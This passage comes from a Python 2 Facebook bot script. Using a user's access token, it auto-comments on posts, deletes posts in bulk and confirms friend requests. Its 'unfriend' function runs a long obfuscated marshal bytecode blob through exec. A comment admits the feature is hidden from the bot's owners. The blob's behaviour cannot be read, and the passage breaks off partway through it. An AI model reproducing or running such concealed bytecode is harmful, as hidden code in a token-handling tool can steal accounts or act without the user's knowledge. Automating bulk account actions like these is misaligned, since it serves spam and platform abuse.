  1563. url = "https://graph.facebook.com/{0}/comments".format(post['id'])
  1564. s = requests.post(url, data = parameters)
  1565.  
  1566. id = post['id'].split('_')[0]
  1567.  
  1568. try:
  1569. print W + '[' + G + id + W + '] ' +post['message'][:40].replace('\n',' ') + '...'
  1570. except KeyError:
  1571. try:
  1572. print W + '[' + G + id + W + '] ' + post['story'].replace('\n',' ')
  1573. except KeyError:
  1574. print W + '[' + G + id + W + '] successfully commented'
  1575. print '[*] Done'
  1576. bot()
  1577. except KeyboardInterrupt:
  1578. print '\r[!] Stopped'
  1579. bot()
  1580. def remove(posts):
  1581. global token , WT
  1582.  
  1583. print '\r[*] All post id successfully retrieved '
  1584. print '[*] Start'
  1585.  
  1586. try:
  1587. counter = 0
  1588. for post in posts:
  1589. if counter >= 50:
  1590. break
  1591.  
  1592. r = requests.post('https://graph.facebook.com/{id}?method=delete&access_token={token}'.format(id=post['id'],token=token))
  1593. a = json.loads(r.text)
  1594.  
  1595. try:
  1596. cek = a['error']['message']
  1597. print W + '[' + R + post['id'] + W +'] Failed'
  1598. except TypeError:
  1599. print W + '[' + G + post['id'] + W + '] Removed'
  1600. counter += 1
  1601. print '[*] Done'
  1602. bot()
  1603. except KeyboardInterrupt:
  1604. print '\r[!] Stopped'
  1605. bot()
  1606. def confirm(posts):
  1607. global token , WT
  1608.  
  1609. print '\r[*] All friend requests successfully retrieved '
  1610. print '[*] Start'
  1611.  
  1612. try:
  1613. counter = 0
  1614. for post in posts:
  1615. if counter >= 50:
  1616. break
  1617. else:
  1618. counter += 1
  1619.  
  1620. r = requests.post('https://graph.facebook.com/me/friends/%s?access_token=%s'%(post['from']['id'] , token))
  1621. a = json.loads(r.text)
  1622.  
  1623. try:
  1624. cek = a['error']['message']
  1625. print W + '[' + R + post['from']['name'] + W + '] Failed'
  1626. except TypeError:
  1627. print W + '[' + G + post['from']['name'] + W + '] Confirmed'
  1628. print '[*] Done'
  1629. bot()
  1630. except KeyboardInterrupt:
  1631. print '\r[!] Stopped'
  1632. bot()
  1633. def unfriend(posts):
  1634.  
  1635. # sorry bruda feature is encrypted because it doesn't
  1636. # allowed by bot fb owners :)
  1637. # for those who can unmarshal, please use it yourself
  1638.  
  1639. exec marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\xf5\x12\x00\x00@\x00\x00\x00s\x89<\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x02\x00d\x03\x00d\x04\x00d\x05\x00d\x06\x00d\x07\x00d\x08\x00d\t\x00d\n\x00d\x0b\x00d\x0c\x00d\r\x00d\x0e\x00d\x0f\x00d\x10\x00d\x11\x00d\x12\x00d\x13\x00d\x14\x00d\x15\x00d\x16\x00d\x17\x00d\x18\x00d\x19\x00d\x1a\x00d\x1b\x00d\x1c\x00d\x1d\x00d\x1e\x00d\x1f\x00d \x00d!\x00d"\x00d#\x00d$\x00d%\x00d&\x00d\x18\x00d\'\x00d(\x00d)\x00d*\x00d\t\x00d+\x00d \x00d,\x00d\x0c\x00d-\x00d.\x00d/\x00d0\x00d \x00d1\x00d\x06\x00d2\x00d3\x00d4\x00d5\x00d6\x00d*\x00d7\x00d8\x00d9\x00d8\x00d:\x00d;\x00d<\x00d=\x00d-\x00d>\x00d?\x00d@\x00dA\x00d\x1a\x00dB\x00dC\x00dD\x00dE\x00d\x1b\x00d?\x00dF\x00dG\x00d$\x00dH\x00dI\x00dJ\x00dK\x00d\x10\x00d\x02\x00dL\x00dM\x00dN\x00dO\x00dP\x00dQ\x00dR\x00dS\x00dT\x00dU\x00dV\x00dW\x00d=\x00dX\x00d\x17\x00dY\x00dZ\x00d[\x00d\\\x00d+\x00d\x1c\x00d]\x00dU\x00d?\x00d^\x00d\\\x00d_\x00dO\x00d`\x00d\t\x00d\x0c\x00da\x00db\x00d\x06\x00dc\x00d9\x00dd\x00de\x00df\x00dg\x00d@\x00dh\x00di\x00d!\x00dj\x00dk\x00d\x19\x00d\x1b\x00dl\x00dm\x00d[\x00d9\x00dn\x00do\x00dH\x00d0\x00dp\x00d\x1e\x00dq\x00dr\x00ds\x00dn\x00d:\x00dB\x00d\x19\x00dt\x00d0\x00du\x00d\x19\x00d\x1f\x00dv\x00d0\x00d\x04\x00d\x1c\x00ds\x00dM\x00dZ\x00dw\x00d5\x00dx\x00dy\x00d\x0b\x00dz\x00d{\x00d|\x00d\x02\x00d}\x00d~\x00d\x7f\x00dI\x00d\x80\x00d\x81\x00dn\x00d\x82\x00d\\\x00d\x83\x00d\x84\x00dZ\x00d\x85\x00d\x86\x00d\x84\x00d\x87\x00d\x1c\x00d\x88\x00d\x89\x00d\x8a\x00d\x8b\x00d\x8c\x00d\x8d\x00d\x8e\x00d\x8f\x00d\x90\x00d\x91\x00d\x92\x00d\x93\x00d>\x00dp\x00d\x1a\x00dA\x00d\x94\x00d\x95\x00d<\x00d\x96\x00d\x19\x00d$\x00d\x1c\x00d\x1d\x00d\x97\x00d\x98\x00d\x99\x00dQ\x00d\x9a\x00dV\x00dA\x00dq\x00d\x97\x00d9\x00dV\x00dc\x00d\x9b\x00d\x9c\x00d\x9d\x00d\x9b\x00d\x9e\x00d\x9f\x00d\xa0\x00d\xa1\x00dA\x00dA\x00dH\x00d\xa2\x00d\xa3\x00d\x9e\x00d\xa4\x00d\xa5\x00d\x9d\x00d\xa6\x00d\xa7\x00d\x95\x00dr\x00d\xa5\x00d\'\x00d\xa8\x00dl\x00d\x18\x00d8\x00d\xa9\x00d\x8b\x00d~\x00d\x05\x00di\x00d[\x00d\x08\x00d\xaa\x00d\xab\x00d\xac\x00dV\x00d\xad\x00d\x0e\x00d\xae\x00dH\x00d\x11\x00d\xaf\x00d\xa9\x00d\xb0\x00d\x13\x00d/\x00d\x17\x00d\x18\x00d\xb1\x00d\x1a\x00d\x1b\x00d\xa6\x00d\x1d\x00d6\x00d\xac\x00d \x00d&\x00d\x1a\x00d#\x00d$\x00d\x9a\x00d&\x00d\x18\x00d\xb2\x00d(\x00d)\x00d\xb3\x00d\t\x00d+\x00d\xb4\x00d,\x00d\x0c\x00d\xb5\x00d.\x00d/\x00d\xb6\x00d \x00d1\x00d\xb7\x00d2\x00d3\x00d\xad\x00d5\x00d6\x00dj\x00d7\x00d8\x00d4\x00d8\x00d:\x00dD\x00d<\x00d=\x00d{\x00d>\x00d?\x00d\x99\x00dA\x00d\x1a\x00d~\x00dC\x00dD\x00d\x95\x00d\x1b\x00d?\x00d\xb8\x00dG\x00d$\x00d~\x00dI\x00dJ\x00d\xb9\x00d\x10\x00d\x02\x00dc\x00dM\x00dN\x00d\x1c\x00dP\x00dQ\x00dZ\x00dS\x00dT\x00d\xba\x00dV\x00dW\x00d\xbb\x00dX\x00d\x17\x00df\x00dZ\x00d[\x00d)\x00d+\x00d\x1c\x00d\x81\x00dU\x00d?\x00d\xb6\x00d\\\x00d_\x00dh\x00d`\x00d\t\x00d\xbc\x00da\x00db\x00d6\x00dc\x00d9\x00dR\x00de\x00df\x00d\xbd\x00d@\x00dh\x00d\x8a\x00d!\x00dj\x00d9\x00d\x19\x00d\x1b\x00d\xbe\x00dm\x00d[\x00d\xbf\x00dn\x00do\x00d\xc0\x00d0\x00dp\x00d\x98\x00dq\x00dr\x00dk\x00dn\x00d:\x00d{\x00d\x19\x00dt\x00d\x91\x00du\x00d\x19\x00d\xa3\x00dv\x00d0\x00d\x0f\x00d\x1c\x00ds\x00de\x00dZ\x00dw\x00d\xaa\x00dx\x00dy\x00de\x00dz\x00d{\x00d2\x00d\x02\x00d}\x00d\xc1\x00d\x7f\x00dI\x00d}\x00d\x81\x00dn\x00d\x8b\x00d\\\x00d\x83\x00d\x89\x00dZ\x00d\x85\x00dE\x00d\x84\x00d\x87\x00d\x05\x00d\x88\x00d\x89\x00d\xb7\x00d\x8b\x00d\x8c\x00d8\x00d\x8e\x00d\x8f\x00d{\x00d\x91\x00d\x92\x00d\xc2\x00d>\x00dp\x00d\xa7\x00dA\x00d\x94\x00d\x7f\x00d<\x00d\x96\x00d\xc3\x00d$\x00d\x1c\x00dG\x00d\x97\x00d\x98\x00d\xa4\x00dQ\x00d\x9a\x00d\xad\x00dA\x00dq\x00d\x04\x00d9\x00dV\x00d\xa6\x00d\x9b\x00d\x9c\x00dI\x00d\x9b\x00d\x9e\x00d\xc4\x00d\xa0\x00d\xa1\x00d\xb8\x00dA\x00dH\x00d\xc5\x00d\xa3\x00d\x9e\x00d/\x00d\xa5\x00d\x9d\x00d\x1d\x00d\xa7\x00d\x95\x00dc\x00d\xa5\x00d\'\x00d\xc6\x00dl\x00d\x18\x00d\xc7\x00d\xa9\x00d\x8b\x00d\xaa\x00d\x05\x00di\x00d\x14\x00d\x08\x00d\xaa\x00d\x1d\x00d\xac\x00dV\x00d(\x00d\x0e\x00d\xae\x00d\xa5\x00d\x11\x00d\xaf\x00d\xb4\x00d\xb0\x00d\x13\x00d0\x00d\x17\x00d\x18\x00d`\x00d\x1a\x00d\x1b\x00dA\x00d\x1d\x00d6\x00d>\x00d \x00d&\x00dl\x00d#\x00d$\x00dn\x00d&\x00d\x18\x00d\xb7\x00d(\x00d)\x00d\x12\x00d\t\x00d+\x00dt\x00d,\x00d\x0c\x00d6\x00d.\x00d/\x00d\xc0\x00d \x00d1\x00d\'\x00d2\x00d3\x00d\x8e\x00d5\x00d6\x00dE\x00d7\x00d8\x00d\xc8\x00d8\x00d:\x00d\xc9\x00d<\x00d=\x00d-\x00d>\x00d?\x00d \x00dA\x00d\x1a\x00d\xca\x00dC\x00dD\x00d/\x00d\x1b\x00d?\x00d8\x00dG\x00d$\x00dR\x00dI\x00dJ\x00d\xbb\x00d\x10\x00d\x02\x00dr\x00dM\x00dN\x00d\x8b\x00dP\x00dQ\x00d\xcb\x00dS\x00dT\x00d\xcc\x00dV\x00dW\x00d\x95\x00dX\x00d\x17\x00d\xcd\x00dZ\x00d[\x00d\x1d\x00d+\x00d\x1c\x00dY\x00dU\x00d?\x00d\x97\x00d\\\x00d_\x00d\xce\x00d`\x00d\t\x00dJ\x00da\x00db\x00d\x81\x00dc\x00d9\x00dG\x00de\x00df\x00d\xc4\x00d@\x00dh\x00d\x92\x00d!\x00dj\x00d\xcf\x00d\x19\x00d\x1b\x00di\x00dm\x00d[\x00dx\x00dn\x00do\x00d\x85\x00d0\x00dp\x00d\xd0\x00dq\x00dr\x00d\xcc\x00dn\x00d:\x00dA\x00d\x19\x00dt\x00d\xb1\x00du\x00d\x19\x00du\x00dv\x00d0\x00d\xab\x00d\x1c\x00ds\x00d\xd1\x00dZ\x00dw\x00d\xb4\x00dx\x00dy\x00d\xb3\x00dz\x00d{\x00d\x89\x00d\x02\x00d}\x00d&\x00d\x7f\x00dI\x00d^\x00d\x81\x00dn\x00dc\x00d\\\x00d\x83\x00dF\x00dZ\x00d\x85\x00d\xd2\x00d\x84\x00d\x87\x00d\xd3\x00d\x88\x00d\x89\x00d\\\x00d\x8b\x00d\x8c\x00d\xa7\x00d\x8e\x00d\x8f\x00d\x92\x00d\x91\x00d\x92\x00d\xca\x00d>\x00dp\x00d{\x00dA\x00d\x94\x00d\xd4\x00d<\x00d\x96\x00dA\x00d$\x00d\x1c\x00d\xa1\x00d\x97\x00d\x98\x00d\xcf\x00dQ\x00d\x9a\x00d\x8f\x00dA\x00dq\x00d\xa0\x00d9\x00dV\x00dM\x00d\x9b\x00d\x9c\x00d\xc0\x00d\x9b\x00d\x9e\x00d\t\x00d\xa0\x00d\xa1\x00d.\x00dA\x00dH\x00d\x88\x00d\xa3\x00d\x9e\x00d\x18\x00d\xa5\x00d\x9d\x00d\x89\x00d\xa7\x00d\x95\x00d\xd3\x00d\xa5\x00d\'\x00d;\x00dl\x00d\x18\x00d\xa9\x00d\xa9\x00d\x8b\x00d*\x00d\x05\x00di\x00dz\x00d\x08\x00d\xaa\x00d=\x00d\xac\x00dV\x00d\xd5\x00d\x0e\x00d\xae\x00d\xcb\x00d\x11\x00d\xaf\x00dK\x00d\xb0\x00d\x13\x00d\xd2\x00d\x17\x00d\x18\x00dB\x00d\x1a\x00d\x1b\x00d\xd6\x00d\x1d\x00d6\x00d\xd7\x00d \x00d&\x00d\xb0\x00d#\x00d$\x00d;\x00d&\x00d\x18\x00d=\x00d(\x00d)\x00d\xcb\x00d\t\x00d+\x00d \x00d,\x00d\x0c\x00d}\x00d.\x00d/\x00d\xd8\x00d \x00d1\x00d\xd9\x00d2\x00d3\x00d\x9c\x00d5\x00d6\x00d*\x00d7\x00d8\x00d(\x00d8\x00d:\x00d;\x00d<\x00d=\x00d-\x00d>\x00d?\x00d\xb6\x00dA\x00d\x1a\x00d\xa4\x00dC\x00dD\x00dD\x00d\x1b\x00d?\x00dF\x00dG\x00d$\x00d\x82\x00dI\x00dJ\x00dE\x00d\x10\x00d\x02\x00d(\x00dM\x00dN\x00dO\x00dP\x00dQ\x00d\xbd\x00dS\x00dT\x00d\xb9\x00dV\x00dW\x00d\xc7\x00dX\x00d\x17\x00dY\x00dZ\x00d[\x00d\\\x00d+\x00d\x1c\x00dN\x00dU\x00d?\x00d2\x00d\\\x00d_\x00d\x88\x00d`\x00d\t\x00d\x88\x00da\x00db\x00d\x06\x00dc\x00d9\x00d\x95\x00de\x00df\x00d\x81\x00d@\x00dh\x00d\xc0\x00d!\x00dj\x00di\x00d\x19\x00d\x1b\x00dj\x00dm\x00d[\x00d\xa1\x00dn\x00do\x00d\x94\x00d0\x00dp\x00d\xb8\x00dq\x00dr\x00d!\x00dn\x00d:\x00dd\x00d\x19\x00dt\x00d\x06\x00du\x00d\x19\x00d\xda\x00dv\x00d0\x00d\x14\x00d\x1c\x00ds\x00d\xa9\x00dZ\x00dw\x00d\xa4\x00dx\x00dy\x00d|\x00dz\x00d{\x00d\xcd\x00d\x02\x00d}\x00d{\x00d\x7f\x00dI\x00d\x11\x00d\x81\x00dn\x00d\x03\x00d\\\x00d\x83\x00d`\x00dZ\x00d\x85\x00d\xb7\x00d\x84\x00d\x87\x00d2\x00d\x88\x00d\x89\x00d\x8e\x00d\x8b\x00d\x8c\x00d\x8d\x00d\x8e\x00d\x8f\x00di\x00d\x91\x00d\x92\x00d3\x00d>\x00dp\x00d\x83\x00dA\x00d\x94\x00d\x0b\x00d<\x00d\x96\x00d/\x00d$\x00d\x1c\x00d\xd4\x00d\x97\x00d\x98\x00d\x11\x00dQ\x00d\x9a\x00d\x12\x00dA\x00dq\x00d\x97\x00d9\x00dV\x00d\x98\x00d\x9b\x00d\x9c\x00d!\x00d\x9b\x00d\x9e\x00dH\x00d\xa0\x00d\xa1\x00d\x88\x00dA\x00dH\x00d2\x00d\xa3\x00d\x9e\x00dA\x00d\xa5\x00d\x9d\x00d\xa6\x00d\xa7\x00d\x95\x00dU\x00d\xa5\x00d\'\x00d\n\x00dl\x00d\x18\x00d\xc6\x00d\xa9\x00d\x8b\x00dE\x00d\x05\x00di\x00d\x13\x00d\x08\x00d\xaa\x00ds\x00d\xac\x00dV\x00d|\x00d\x0e\x00d\xae\x00dI\x00d\x11\x00d\xaf\x00dg\x00d\xb0\x00d\x13\x00d[\x00d\x17\x00d\x18\x00di\x00d\x1a\x00d\x1b\x00d\xdb\x00d\x1d\x00d6\x00dn\x00d \x00d&\x00d1\x00d#\x00d$\x00d\x9a\x00d&\x00d\x18\x00da\x00d(\x00d)\x00d\x13\x00d\t\x00d+\x00d[\x00d,\x00d\x0c\x00d<\x00d.\x00d/\x00d\xd7\x00d \x00d1\x00d\xdc\x00d2\x00d3\x00dt\x00d5\x00d6\x00d\xdd\x00d7\x00d8\x00d\x05\x00d8\x00d:\x00d\x7f\x00d<\x00d=\x00dR\x00d>\x00d?\x00d+\x00dA\x00d\x1a\x00d~\x00dC\x00dD\x00d\xa3\x00d\x1b\x00d?\x00d\x84\x00dG\x00d$\x00d]\x00dI\x00dJ\x00d\x0c\x00d\x10\x00d\x02\x00d]\x00dM\x00dN\x00dR\x00dP\x00dQ\x00dZ\x00dS\x00dT\x00d\x06\x00dV\x00dW\x00d\xde\x00dX\x00d\x17\x00df\x00dZ\x00d[\x00d\xb1\x00d+\x00d\x1c\x00dE\x00dU\x00d?\x00d\xdf\x00d\\\x00d_\x00da\x00d`\x00d\t\x00d/\x00da\x00db\x00d6\x00dc\x00d9\x00d\xe0\x00de\x00df\x00dn\x00d@\x00dh\x00d\xb4\x00d!\x00dj\x00d\xd2\x00d\x19\x00d\x1b\x00d\xe1\x00dm\x00d[\x00d\xad\x00dn\x00do\x00d\xdb\x00d0\x00dp\x00d$\x00dq\x00dr\x00d\xc2\x00dn\x00d:\x00d\xd5\x00d\x19\x00dt\x00d\x8b\x00du\x00d\x19\x00dX\x00dv\x00d0\x00dZ\x00d\x1c\x00ds\x00d4\x00dZ\x00dw\x00d\xe2\x00dx\x00dy\x00d\x98\x00dz\x00d{\x00d\xa9\x00d\x02\x00d}\x00d\xe3\x00d\x7f\x00dI\x00dJ\x00d\x81\x00dn\x00d\x92\x00d\\\x00d\x83\x00dY\x00dZ\x00d\x85\x00d\xdb\x00d\x84\x00d\x87\x00d;\x00d\x88\x00d\x89\x00d\x88\x00d\x8b\x00d\x8c\x00dv\x00d\x8e\x00d\x8f\x00dH\x00d\x91\x00d\x92\x00d\x99\x00d>\x00dp\x00d\xd6\x00dA\x00d\x94\x00d\x96\x00d<\x00d\x96\x00d\xc3\x00d$\x00d\x1c\x00d9\x00d\x97\x00d\x98\x00dj\x00dQ\x00d\x9a\x00d\x0e\x00dA\x00dq\x00d\xe4\x00d9\x00dV\x00d\xe5\x00d\x9b\x00d\x9c\x00d#\x00d\x9b\x00d\x9e\x00d\x1a\x00d\xa0\x00d\xa1\x00d\xe6\x00dA\x00dH\x00d\x91\x00d\xa3\x00d\x9e\x00d(\x00d\xa5\x00d\x9d\x00d\xd0\x00d\xa7\x00d\x95\x00d#\x00d\xa5\x00d\'\x00d\xd4\x00dl\x00d\x18\x00d\x81\x00d\xa9\x00d\x8b\x00d\r\x00d\x05\x00di\x00dC\x00d\x08\x00d\xaa\x00d\x9b\x00d\xac\x00dV\x00d\x0b\x00d\x0e\x00d\xae\x00d3\x00d\x11\x00d\xaf\x00d[\x00d\xb0\x00d\x13\x00d\x8d\x00d\x17\x00d\x18\x00d\xd6\x00d\x1a\x00d\x1b\x00d|\x00d\x1d\x00d6\x00d\x9c\x00d \x00d&\x00d\xe7\x00d#\x00d$\x00d5\x00d&\x00d\x18\x00dk\x00d(\x00d)\x00dp\x00d\t\x00d+\x00d%\x00d,\x00d\x0c\x00d\xd6\x00d.\x00d/\x00d\x82\x00d \x00d1\x00d\x84\x00d2\x00d3\x00da\x00d5\x00d6\x00d\xa9\x00d7\x00d8\x00d\xe8\x00d8\x00d:\x00dM\x00d<\x00d=\x00dt\x00d>\x00d?\x00d_\x00dA\x00d\x1a\x00d\xdc\x00dC\x00dD\x00d\x83\x00d\x1b\x00d?\x00dT\x00dG\x00d$\x00d\x1c\x00dI\x00dJ\x00d\x0e\x00d\x10\x00d\x02\x00d\xa1\x00dM\x00dN\x00d\xe2\x00dP\x00dQ\x00d\xe9\x00dS\x00dT\x00d\xa3\x00dV\x00dW\x00da\x00dX\x00d\x17\x00d\xea\x00dZ\x00d[\x00d\xa9\x00d+\x00d\x1c\x00dY\x00dU\x00d?\x00d=\x00d\\\x00d_\x00dC\x00d`\x00d\t\x00d\xe0\x00da\x00db\x00d\x8e\x00dc\x00d9\x00d*\x00de\x00df\x00d\n\x00d@\x00dh\x00d\xeb\x00d!\x00dj\x00d{\x00d\x19\x00d\x1b\x00d\xc9\x00dm\x00d[\x00d\xcf\x00dn\x00do\x00d\x85\x00d0\x00dp\x00d\xeb\x00dq\x00dr\x00d\xad\x00dn\x00d:\x00dA\x00d\x19\x00dt\x00dF\x00du\x00d\x19\x00d>\x00dv\x00d0\x00d\xec\x00d\x1c\x00ds\x00dz\x00dZ\x00dw\x00d\xda\x00dx\x00dy\x00d\xdc\x00dz\x00d{\x00d\xd0\x00d\x02\x00d}\x00dB\x00d\x7f\x00dI\x00d\xaf\x00d\x81\x00dn\x00d&\x00d\\\x00d\x83\x00d\xd0\x00dZ\x00d\x85\x00d\x80\x00d\x84\x00d\x87\x00d<\x00d\x88\x00d\x89\x00dK\x00d\x8b\x00d\x8c\x00dV\x00d\x8e\x00d\x8f\x00d\x92\x00d\x91\x00d\x92\x00d\xb6\x00d>\x00dp\x00d\xa9\x00dA\x00d\x94\x00d\xd6\x00d<\x00d\x96\x00d\x1c\x00d$\x00d\x1c\x00d\xed\x00d\x97\x00d\x98\x00d0\x00dQ\x00d\x9a\x00d\x9b\x00dA\x00dq\x00du\x00d9\x00dV\x00dM\x00d\x9b\x00d\x9c\x00d\x15\x00d\x9b\x00d\x9e\x00d\xa6\x00d\xa0\x00d\xa1\x00dQ\x00dA\x00dH\x00d\x92\x00d\xa3\x00d\x9e\x00d\xd7\x00d\xa5\x00d\x9d\x00d]\x00d\xa7\x00d\x95\x00d\xc4\x00d\xa5\x00d\'\x00d+\x00dl\x00d\x18\x00dT\x00d\xa9\x00d\x8b\x00d\x03\x00d\x05\x00di\x00dv\x00d\x08\x00d\xaa\x00d\xe9\x00d\xac\x00dV\x00dm\x00d\x0e\x00d\xae\x00d\xdd\x00d\x11\x00d\xaf\x00dK\x00d\xb0\x00d\x13\x00d\xea\x00d\x17\x00d\x18\x00d\xe2\x00d\x1a\x00d\x1b\x00dH\x00d\x1d\x00d6\x00dz\x00d \x00d&\x00dr\x00d#\x00d$\x00dk\x00d&\x00d\x18\x00dn\x00d(\x00d)\x00d\xee\x00d\t\x00d+\x00d\t\x00d,\x00d\x0c\x00dj\x00d.\x00d/\x00dh\x00d \x00d1\x00d0\x00d2\x00d3\x00d.\x00d5\x00d6\x00d\xad\x00d7\x00d8\x00d\x95\x00d8\x00d:\x00d;\x00d<\x00d=\x00d-\x00d>\x00d?\x00d\xa6\x00dA\x00d\x1a\x00dR\x00dC\x00dD\x00d\xe0\x00d\x1b\x00d?\x00d~\x00dG\x00d$\x00d\xcc\x00dI\x00dJ\x00d\x0b\x00d\x10\x00d\x02\x00d\xef\x00dM\x00dN\x00d\xb2\x00dP\x00dQ\x00d\x07\x00dS\x00dT\x00d\x9c\x00dV\x00dW\x00d,\x00dX\x00d\x17\x00dY\x00dZ\x00d[\x00d\\\x00d+\x00d\x1c\x00d\x86\x00dU\x00d?\x00d\x05\x00d\\\x00d_\x00dE\x00d`\x00d\t\x00d3\x00da\x00db\x00d\xf0\x00dc\x00d9\x00d\xb0\x00de\x00df\x00d"\x00d@\x00dh\x00d\r\x00d!\x00dj\x00d\xde\x00d\x19\x00d\x1b\x00dp\x00dm\x00d[\x00dG\x00dn\x00do\x00d:\x00d0\x00dp\x00d\xf1\x00dq\x00dr\x00d\xca\x00dn\x00d:\x00d\x9a\x00d\x19\x00dt\x00dz\x00du\x00d\x19\x00d\x7f\x00dv\x00d0\x00d8\x00d\x1c\x00ds\x00d\x1b\x00dZ\x00dw\x00dc\x00dx\x00dy\x00d_\x00dz\x00d{\x00d\xcd\x00d\x02\x00d}\x00d\xd8\x00d\x7f\x00dI\x00dk\x00d\x81\x00dn\x00d\x03\x00d\\\x00d\x83\x00d\xb6\x00dZ\x00d\x85\x00d"\x00d\x84\x00d\x87\x00d\\\x00d\x88\x00d\x89\x00d\x8f\x00d\x8b\x00d\x8c\x00dH\x00d\x8e\x00d\x8f\x00d\xac\x00d\x91\x00d\x92\x00dk\x00d>\x00dp\x00d\xd6\x00dA\x00d\x94\x00da\x00d<\x00d\x96\x00d\x19\x00d$\x00d\x1c\x00d\x8e\x00d\x97\x00d\x98\x00dt\x00dQ\x00d\x9a\x00d\xd5\x00dA\x00dq\x00d\xb0\x00d9\x00dV\x00d\x85\x00d\x9b\x00d\x9c\x00d\x9d\x00d\x9b\x00d\x9e\x00d\xd2\x00d\xa0\x00d\xa1\x00d\xe8\x00dA\x00dH\x00d\x87\x00d\xa3\x00d\x9e\x00d\xf2\x00d\xa5\x00d\x9d\x00dP\x00d\xa7\x00d\x95\x00d\x02\x00d\xa5\x00d\'\x00d\xc0\x00dl\x00d\x18\x00d\xc0\x00d\xa9\x00d\x8b\x00d\x8a\x00d\x05\x00di\x00d[\x00d\x08\x00d\xaa\x00d\xc8\x00d\xac\x00dV\x00d\x9c\x00d\x0e\x00d\xae\x00d\xe2\x00d\x11\x00d\xaf\x00d\x02\x00d\xb0\x00d\x13\x00d\xe0\x00d\x17\x00d\x18\x00d\xc8\x00d\x1a\x00d\x1b\x00d\xdb\x00d\x1d\x00d6\x00d\x8c\x00d \x00d&\x00d8\x00d#\x00d$\x00d\x9a\x00d&\x00d\x18\x00da\x00d(\x00d)\x00d\xed\x00d\t\x00d+\x00d\x9f\x00d,\x00d\x0c\x00d\x10\x00d.\x00d/\x00dK\x00d \x00d1\x00d0\x00d2\x00d3\x00dt\x00d5\x00d6\x00dr\x00d7\x00d8\x00d4\x00d8\x00d:\x00d\xf1\x00d<\x00d=\x00d\xc8\x00d>\x00d?\x00d\xd1\x00dA\x00d\x1a\x00d\xe9\x00dC\x00dD\x00dK\x00d\x1b\x00d?\x00dN\x00dG\x00d$\x00dl\x00dI\x00dJ\x00dG\x00d\x10\x00d\x02\x00d\x0e\x00dM\x00dN\x00d\xf3\x00dP\x00dQ\x00d\xaf\x00dS\x00dT\x00dF\x00dV\x00dW\x00d\xb5\x00dX\x00d\x17\x00df\x00dZ\x00d[\x00d\xb1\x00d+\x00d\x1c\x00d,\x00dU\x00d?\x00d\xa4\x00d\\\x00d_\x00d6\x00d`\x00d\t\x00dU\x00da\x00db\x00d\x1c\x00dc\x00d9\x00dp\x00de\x00df\x00d1\x00d@\x00dh\x00d\x8a\x00d!\x00dj\x00d \x00d\x19\x00d\x1b\x00d\xbb\x00dm\x00d[\x00d=\x00dn\x00do\x00d\x8d\x00d0\x00dp\x00d\xf4\x00dq\x00dr\x00dk\x00dn\x00d:\x00d\xf5\x00d\x19\x00dt\x00dB\x00du\x00d\x19\x00dx\x00dv\x00d0\x00d\xad\x00d\x1c\x00ds\x00d\xe1\x00dZ\x00dw\x00d\xc3\x00dx\x00dy\x00d~\x00dz\x00d{\x00dG\x00d\x02\x00d}\x00d\xc1\x00d\x7f\x00dI\x00d\x82\x00d\x81\x00dn\x00dl\x00d\\\x00d\x83\x00d\x13\x00dZ\x00d\x85\x00d\xdb\x00d\x84\x00d\x87\x00d\x88\x00d\x88\x00d\x89\x00d\x1c\x00d\x8b\x00d\x8c\x00d\xe8\x00d\x8e\x00d\x8f\x00dh\x00d\x91\x00d\x92\x00dW\x00d>\x00dp\x00d\xea\x00dA\x00d\x94\x00d\x7f\x00d<\x00d\x96\x00d\x86\x00d$\x00d\x1c\x00d7\x00d\x97\x00d\x98\x00d(\x00dQ\x00d\x9a\x00dh\x00dA\x00dq\x00d\xad\x00d9\x00dV\x00d\xf6\x00d\x9b\x00d\x9c\x00d\x05\x00d\x9b\x00d\x9e\x00ds\x00d\xa0\x00d\xa1\x00d\x9e\x00dA\x00dH\x00d\xc5\x00d\xa3\x00d\x9e\x00d\xd2\x00d\xa5\x00d\x9d\x00d\r\x00d\xa7\x00d\x95\x00d\xc1\x00d\xa5\x00d\'\x00d\xc6\x00dl\x00d\x18\x00d\r\x00d\xa9\x00d\x8b\x00d\x19\x00d\x05\x00di\x00d\x98\x00d\x08\x00d\xaa\x00d\xf7\x00d\xac\x00dV\x00d8\x00d\x0e\x00d\xae\x00d\x14\x00d\x11\x00d\xaf\x00d\x19\x00d\xb0\x00d\x13\x00d0\x00d\x17\x00d\x18\x00d\xe5\x00d\x1a\x00d\x1b\x00d\xa9\x00d\x1d\x00d6\x00dz\x00d \x00d&\x00d+\x00d#\x00d$\x00d\xbc\x00d&\x00d\x18\x00d\x84\x00d(\x00d)\x00dc\x00d\t\x00d+\x00dp\x00d,\x00d\x0c\x00d\x88\x00d.\x00d/\x00dX\x00d \x00d1\x00d\x04\x00d2\x00d3\x00d\xb2\x00d5\x00d6\x00d.\x00d7\x00d8\x00d\xa7\x00d8\x00d:\x00d\xf2\x00d<\x00d=\x00dI\x00d>\x00d?\x00d|\x00dA\x00d\x1a\x00d&\x00dC\x00dD\x00d\x8f\x00d\x1b\x00d?\x00d7\x00dG\x00d$\x00d\x93\x00dI\x00dJ\x00d\xaa\x00d\x10\x00d\x02\x00d\x9d\x00dM\x00dN\x00d:\x00dP\x00dQ\x00d\x19\x00dS\x00dT\x00d5\x00dV\x00dW\x00d\x95\x00dX\x00d\x17\x00d\xd6\x00dZ\x00d[\x00d\xe7\x00d+\x00d\x1c\x00d4\x00dU\x00d?\x00d\x08\x00d\\\x00d_\x00dC\x00d`\x00d\t\x00d4\x00da\x00db\x00d\x81\x00dc\x00d9\x00d\x03\x00de\x00df\x00d\n\x00d@\x00dh\x00d\xc2\x00d!\x00dj\x00d{\x00d\x19\x00d\x1b\x00d\xa1\x00dm\x00d[\x00d\xcf\x00dn\x00do\x00d\x85\x00d0\x00dp\x00d\xeb\x00dq\x00dr\x00d\x96\x00dn\x00d:\x00dA\x00d\x19\x00dt\x00dD\x00du\x00d\x19\x00d\xca\x00dv\x00d0\x00d\xb2\x00d\x1c\x00ds\x00d\x16\x00dZ\x00dw\x00d\xf8\x00dx\x00dy\x00d(\x00dz\x00d{\x00d-\x00d\x02\x00d}\x00de\x00d\x7f\x00dI\x00d\xe2\x00d\x81\x00dn\x00d\xb7\x00d\\\x00d\x83\x00d\xe7\x00dZ\x00d\x85\x00d7\x00d\x84\x00d\x87\x00d\xc5\x00d\x88\x00d\x89\x00dz\x00d\x8b\x00d\x8c\x00d1\x00d\x8e\x00d\x8f\x00d\xd7\x00d\x91\x00d\x92\x00d\x91\x00d>\x00dp\x00